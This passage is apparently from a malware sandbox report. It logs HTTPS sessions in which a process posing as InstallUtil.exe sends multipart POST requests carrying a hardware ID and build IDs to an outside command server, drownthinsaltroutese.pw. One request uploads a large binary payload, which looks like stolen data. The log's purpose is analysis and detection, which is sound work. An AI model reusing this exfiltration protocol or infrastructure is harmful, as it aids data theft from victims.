2024-01-07 04:29:50 UTC	1369	IN	Data Raw: 65 2f 52 35 59 37 4b 55 69 46 46 6a 71 2b 65 7a 68 55 31 6f 7a 46 4e 68 5a 6f 79 64 51 6a 46 39 59 78 70 4b 49 61 58 38 63 47 6d 69 5a 61 6b 77 6f 49 52 5a 41 6e 4a 37 35 37 4b 57 6d 48 71 64 77 58 4c 38 31 6b 36 53 34 75 77 78 53 42 68 79 4e 6a 2b 32 65 37 66 30 65 66 67 67 78 52 31 48 49 79 41 38 59 41 58 4c 36 4d 7a 42 35 72 53 58 68 42 4c 69 37 44 46 49 47 47 54 39 35 47 44 37 4d 58 52 35 59 37 4b 55 69 4d 41 77 4b 2f 42 67 42 56 75 35 58 46 45 68 5a 51 6a 65 42 76 4e 38 59 46 73 4b 6f 57 53 39 73 43 67 6a 5a 71 67 79 34 55 57 62 41 54 44 37 70 33 4d 56 43 32 76 48 69 33 48 33 6e 4d 36 53 34 75 77 78 53 49 6b 6b 74 69 68 67 2b 36 6f 6b 4c 48 47 79 48 38 4c 52 59 36 74 32 34 41 58 63 71 38 65 4c 63 66 65 63 7a 70 4c 69 2b 76 6f 43 6d 48 49 32 72 75 44 Data Ascii: e/R5Y7KUiFFjq+ezhU1ozFNhZoydQjF9YxpKIaX8cGmiZakwoIRZAnJ757KWmHqdwXL81k6S4uwxSBhyNj+2e7f0efggxR1HIyA8YAXL6MzB5rSXhBLi7DFIGGT95GD7MXR5Y7KUiMAwK/BgBVu5XFEhZQjeBvN8YFsKoWS9sCgjZqgy4UWbATD7p3MVC2vHi3H3nM6S4uwxSIkktihg+6okLHGyH8LRY6t24AXcq8eLcfeczpLi+voCmHI2ruD
2024-01-07 04:29:50 UTC	1369	IN	Data Raw: 69 6b 79 6c 49 68 52 59 36 74 67 4b 30 39 4c 36 4d 7a 42 38 66 65 63 7a 70 4a 7a 76 37 48 4f 6d 48 4b 6c 50 72 4e 70 6f 69 56 72 73 43 43 47 57 67 4c 78 2b 75 56 79 31 42 72 34 48 52 41 68 4a 67 39 63 67 2f 4b 38 59 68 74 4c 49 4c 59 74 36 37 47 78 64 48 6c 6a 73 70 53 49 55 57 4d 36 49 47 43 44 53 2b 68 56 46 4b 4f 6b 6a 63 34 5a 71 47 77 78 53 42 68 79 4e 72 6d 6a 38 48 76 30 65 57 4f 79 6c 49 68 48 71 4f 48 32 34 41 58 4c 36 4d 7a 42 38 66 63 4e 6e 52 4a 6b 62 44 48 62 69 71 4d 6e 76 7a 4e 72 34 47 62 6f 73 53 4d 45 57 55 42 7a 2b 43 64 78 31 52 69 35 58 31 4c 6a 35 30 77 64 41 4c 47 2b 59 49 69 62 65 58 77 75 34 50 73 78 64 48 6c 6a 73 70 51 5a 42 2b 4d 74 39 75 43 5a 47 37 33 5a 6c 57 4a 33 46 34 51 53 34 75 77 78 53 42 68 6c 64 61 57 71 65 7a 46 30 Data Ascii: ikylIhRY6tgK09L6MzB8feczpJzv7HOmHKlPrNpoiVrsCCGWgLx+uVy1Br4HRAhJg9cg/K8YhtLILYt67GxdHljspSIUWM6IGCDS+hVFKOkjc4ZqGwxSBhyNrmj8Hv0eWOylIhHqOH24AXL6MzB8fcNnRJkbDHbiqMnvzNr4GbosSMEWUBz+Cdx1Ri5X1Lj50wdALG+YIibeXwu4PsxdHljspQZB+Mt9uCZG73ZlWJ3F4QS4uwxSBhldaWqezF0
2024-01-07 04:29:50 UTC	1369	IN	Data Raw: 53 49 55 57 4f 72 64 75 43 55 6d 47 68 4b 51 66 46 6e 7a 74 31 42 39 76 32 67 57 6b 67 68 4a 44 38 79 61 71 4e 6e 71 6a 48 67 68 6c 72 42 38 50 71 6b 63 6c 54 59 2b 42 33 53 59 6a 63 66 78 64 68 69 37 44 46 49 47 48 49 32 72 75 42 71 5a 2f 54 2f 34 37 49 4e 33 6b 4b 79 76 69 49 39 31 4a 74 73 44 45 71 37 64 35 7a 4f 6b 75 4c 73 4a 67 73 53 4f 58 77 6b 6f 50 73 6e 76 7a 50 6a 73 70 53 49 55 57 4f 72 64 75 43 55 6d 47 68 4b 51 66 46 6d 44 74 34 42 4d 50 35 69 47 45 6b 68 4a 6a 30 79 37 79 50 6b 36 66 43 6a 68 46 76 41 73 33 6a 6d 74 42 5a 61 2b 78 33 54 5a 66 63 66 78 64 68 69 37 44 46 49 47 48 49 32 72 75 42 71 5a 2f 54 2f 34 37 49 4d 47 67 4c 7a 2b 4f 59 78 57 42 75 37 33 39 43 6b 39 78 65 45 45 75 4c 73 4d 55 67 59 5a 58 57 6b 71 37 47 37 4e 48 6c 31 65 Data Ascii: SIUWOrduCUmGhKQfFnzt1B9v2gWkghJD8yaqNnqjHghlrB8PqkclTY+B3SYjcfxdhi7DFIGHI2ruBqZ/T/47IN3kKyviI91JtsDEq7d5zOkuLsJgsSOXwkoPsnvzPjspSIUWOrduCUmGhKQfFmDt4BMP5iGEkhJj0y7yPk6fCjhFvAs3jmtBZa+x3TZfcfxdhi7DFIGHI2ruBqZ/T/47IMGgLz+OYxWBu739Ck9xeEEuLsMUgYZXWkq7G7NHl1e
2024-01-07 04:29:50 UTC	1369	IN	Data Raw: 6a 71 2b 6f 7a 31 74 6a 35 6d 63 46 36 76 52 7a 4f 6b 75 4c 73 4d 56 39 62 65 58 77 75 34 50 73 78 64 48 6c 31 65 64 34 49 55 57 4f 72 64 75 41 46 79 2b 68 64 6b 6e 46 78 48 4d 34 43 4d 58 39 68 47 30 67 69 5a 6e 7a 30 37 79 4c 6d 71 2f 4a 68 42 74 74 41 64 37 70 6c 73 74 57 62 75 68 32 54 59 6d 57 4d 6e 39 4a 68 35 33 76 49 47 48 49 32 72 75 44 37 4d 58 54 6f 4e 54 49 53 43 46 48 37 2f 69 4a 7a 78 55 43 69 54 4d 48 78 39 35 7a 4f 68 61 48 6e 65 38 67 59 63 6a 61 75 34 4f 33 36 50 76 6c 6a 73 70 53 49 55 57 4f 72 64 6e 46 57 53 32 35 4d 77 57 4e 6b 54 6c 79 44 63 37 2f 67 47 51 71 6d 4a 48 38 7a 36 36 44 6d 4b 6a 4b 6a 42 4e 6a 46 63 72 72 6b 63 46 59 59 4f 39 79 51 63 58 53 58 68 42 4c 69 37 44 46 49 47 48 49 32 72 6e 47 74 73 66 4c 35 59 79 36 48 57 30 Data Ascii: jq+oz1tj5mcF6vRzOkuLsMV9beXwu4PsxdHl1ed4IUWOrduAFy+hdknFxHM4CMX9hG0giZnz07yLmq/JhBttAd7plstWbuh2TYmWMn9Jh53vIGHI2ruD7MXToNTISCFH7/iJzxUCiTMHx95zOhaHne8gYcjau4O36PvljspSIUWOrdnFWS25MwWNkTlyDc7/gGQqmJH8z66DmKjKjBNjFcrrkcFYYO9yQcXSXhBLi7DFIGHI2rnGtsfL5Yy6HW0
2024-01-07 04:29:50 UTC	1369	IN	Data Raw: 34 41 58 4c 36 4d 7a 42 38 57 62 4b 54 68 52 69 37 4b 72 59 54 4b 41 32 74 37 62 75 49 43 66 74 73 65 46 48 43 4e 6f 70 4b 33 62 67 42 63 76 6f 32 34 4c 36 76 52 7a 4f 6b 75 4c 73 4d 56 37 54 4f 4c 61 75 34 50 73 78 64 48 6c 6a 73 67 58 62 30 65 55 72 64 6e 43 56 47 44 7a 64 45 53 50 6c 6a 78 77 42 73 7a 33 69 47 59 6e 67 5a 62 72 7a 36 47 48 6c 61 7a 4e 6a 52 4e 6f 44 63 4c 6d 69 34 49 62 41 6f 6b 7a 42 38 66 65 63 7a 70 4c 69 37 4b 41 65 6d 50 53 32 72 6e 72 74 59 61 65 71 34 36 6d 47 33 55 41 6a 73 36 58 79 56 4a 68 39 7a 45 71 37 64 35 7a 4f 6b 75 4c 73 4a 67 73 54 4f 4c 61 75 34 50 73 78 64 47 2b 6f 2b 42 53 49 55 57 4f 72 64 75 41 46 79 33 6d 66 51 58 64 33 6e 46 78 42 38 58 78 67 47 6f 72 6a 35 6a 79 77 61 47 4e 6e 61 44 65 67 68 78 70 46 63 50 73 Data Ascii: 4AXL6MzB8WbKThRi7KrYTKA2t7buICftseFHCNopK3bgBcvo24L6vRzOkuLsMV7TOLau4PsxdHljsgXb0eUrdnCVGDzdESPljxwBsz3iGYngZbrz6GHlazNjRNoDcLmi4IbAokzB8feczpLi7KAemPS2rnrtYaeq46mG3UAjs6XyVJh9zEq7d5zOkuLsJgsTOLau4PsxdG+o+BSIUWOrduAFy3mfQXd3nFxB8XxgGorj5jywaGNnaDeghxpFcPs
2024-01-07 04:29:50 UTC	1369	IN	Data Raw: 33 71 66 30 43 45 6b 44 74 2f 42 39 76 7a 6a 57 34 69 6a 5a 2f 79 30 36 57 56 6d 4b 2f 50 68 68 68 71 42 38 4c 76 6d 4d 39 56 4c 61 38 65 4c 63 66 65 63 7a 70 4c 69 37 44 46 49 69 53 53 32 4b 47 44 37 71 4b 77 73 4e 71 43 55 6b 41 51 32 75 57 65 7a 6b 4e 6d 34 48 4a 54 69 49 78 78 46 32 47 4c 73 4d 55 67 59 63 69 48 74 36 37 47 78 64 48 6c 6a 73 70 53 65 6d 69 6b 72 64 75 41 46 79 2b 6a 4d 77 66 46 6d 7a 30 34 55 59 75 79 6a 47 30 74 68 35 50 39 79 4b 75 50 6b 4b 4c 4a 67 68 78 76 42 73 54 6d 6b 38 64 51 61 2b 74 79 53 34 71 64 50 58 77 41 78 2f 76 48 4c 45 7a 69 32 72 75 44 37 4d 58 52 35 59 37 49 46 33 74 48 6c 4b 33 5a 39 45 56 71 2b 58 78 56 78 36 34 79 61 52 6a 63 2f 35 64 6b 59 61 57 62 39 63 4b 72 67 49 50 6e 6f 2b 42 53 49 55 57 4f 72 64 76 64 47 Data Ascii: 3qf0CEkDt/B9vzjW4ijZ/y06WVmK/PhhhqB8LvmM9VLa8eLcfeczpLi7DFIiSS2KGD7qKwsNqCUkAQ2uWezkNm4HJTiIxxF2GLsMUgYciHt67GxdHljspSemikrduAFy+jMwfFmz04UYuyjG0th5P9yKuPkKLJghxvBsTmk8dQa+tyS4qdPXwAx/vHLEzi2ruD7MXR5Y7IF3tHlK3Z9EVq+XxVx64yaRjc/5dkYaWb9cKrgIPno+BSIUWOrdvdG
2024-01-07 04:29:50 UTC	1369	IN	Data Raw: 58 67 35 38 6e 65 30 37 33 7a 4b 6c 6c 4a 59 2b 66 36 59 4f 41 6a 49 65 67 6a 4d 5a 2f 43 30 57 4f 72 64 75 41 46 79 2b 6a 4d 55 72 46 78 48 4e 42 53 59 47 79 75 43 78 4d 34 74 71 37 67 2b 7a 46 30 65 57 4f 79 41 67 6a 58 34 36 76 72 4d 46 62 59 2b 5a 6e 56 4d 69 79 4e 6e 34 4d 7a 75 4c 46 54 43 69 65 6e 37 6d 50 77 65 2f 52 35 59 37 4b 55 69 46 46 6a 71 2b 66 67 67 30 76 73 54 38 71 37 64 35 7a 4f 6b 75 4c 73 4d 55 67 59 34 36 4a 75 5a 6e 73 31 38 48 38 6d 64 74 48 4d 31 57 6a 68 39 75 41 46 79 2b 6a 4d 31 72 4c 38 31 6b 36 53 34 75 77 78 53 41 36 35 66 43 37 67 2b 7a 46 30 65 57 4f 79 6c 42 31 52 35 53 74 79 34 77 36 42 61 4d 7a 42 38 66 65 63 7a 70 4c 69 65 44 48 4f 6d 48 4b 33 2f 72 54 76 49 47 51 73 63 2f 50 4c 6c 30 45 32 75 4b 57 79 56 52 54 33 31 Data Ascii: Xg58ne073zKllJY+f6YOAjIegjMZ/C0WOrduAFy+jMUrFxHNBSYGyuCxM4tq7g+zF0eWOyAgjX46vrMFbY+ZnVMiyNn4MzuLFTCien7mPwe/R5Y7KUiFFjq+fgg0vsT8q7d5zOkuLsMUgY46JuZns18H8mdtHM1Wjh9uAFy+jM1rL81k6S4uwxSA65fC7g+zF0eWOylB1R5Sty4w6BaMzB8feczpLieDHOmHK3/rTvIGQsc/PLl0E2uKWyVRT31

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:50 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:50 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:51 UTC	1343	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ca5vcla3kbcnr7nhf2et4m5spa; expires=Wed, 01-May-2024 22:16:30 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:51 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:51 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:51 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SckV0%2F%2BmrBpiDJO%2BRwM%2B3pLQ3t0tYNEHDhBC%2BDJ6pHRDli3aIm9ezPFPvDwUZX01DdCiCnRke3krzL%2BO6XlWczFfrwC7l%2BXR0sLZ8zZoJLWccloZNcRuPqyaPW%2BpczAXwTSls8mIGMt2ew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 841976496b0843ca-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:51 UTC	26	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 Data Ascii: 16Debug data is disabled
2024-01-07 04:29:51 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:51 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19499 Host: drownthinsaltroutese.pw
2024-01-07 04:29:51 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:51 UTC	4168	OUT	Data Raw: 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f Data Ascii: 2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?
2024-01-07 04:29:51 UTC	1331	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=63jte9elsn0gv5dug12rasnu9n; expires=Wed, 01-May-2024 22:16:30 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:51 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:51 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:51 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PfPeJf4rFG8waZjkQ7hzzTjpq0Kni7XE6zufsrjZ8qukJJbuJ%2FQp1LjVJ1zIUufLlhWuViUKidhfnNjhXTkf9vfLBisGMCWvtyraW9IiGMiFVzg36jT1DbSiAGBnvBR8P%2BzGOMmLHZSEIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8419764cdd7c7285-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 31 37 36 0d 0a Data Ascii: 11ok 191.96.227.176
2024-01-07 04:29:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:52 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:52 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:52 UTC	1333	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lhqt6u0l2464mbpbv2rkmohn4m; expires=Wed, 01-May-2024 22:16:31 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:52 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:52 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:52 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=688xKHZQowZOlWZ4rKAcJukIl5446Di02frl0O%2Fhy0ix%2B1q2npL3O3xFjOk2FyJskaQXZhSsp5kyDLLmPmv0TwgvFtVMOo6k74wQDaCttQ2GvUS%2BcX0rpM1GESbNcOCkRlxaAIMpBukU2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84197651a9d142af-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:52 UTC	28	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 0d 0a Data Ascii: 16Debug data is disabled
2024-01-07 04:29:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:52 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:52 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:53 UTC	1333	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=640tte5uhpker3315gcm14dmi1; expires=Wed, 01-May-2024 22:16:32 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=d6ohi4sTFV7VFgKfawIzcXhzpqW3pIwnlZ9kjBygdR1pZgd4kWBZmnK%2FnDrYYrXJsyyAeyZfgCN6Z8V6tEgAwukDONkuWz4nUYWkrAq%2BZrQetgCIwAIj%2BIgbjBGsJHHuLT1ezrVhVuWlYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 841976559f8b2395-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:53 UTC	28	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 0d 0a Data Ascii: 16Debug data is disabled
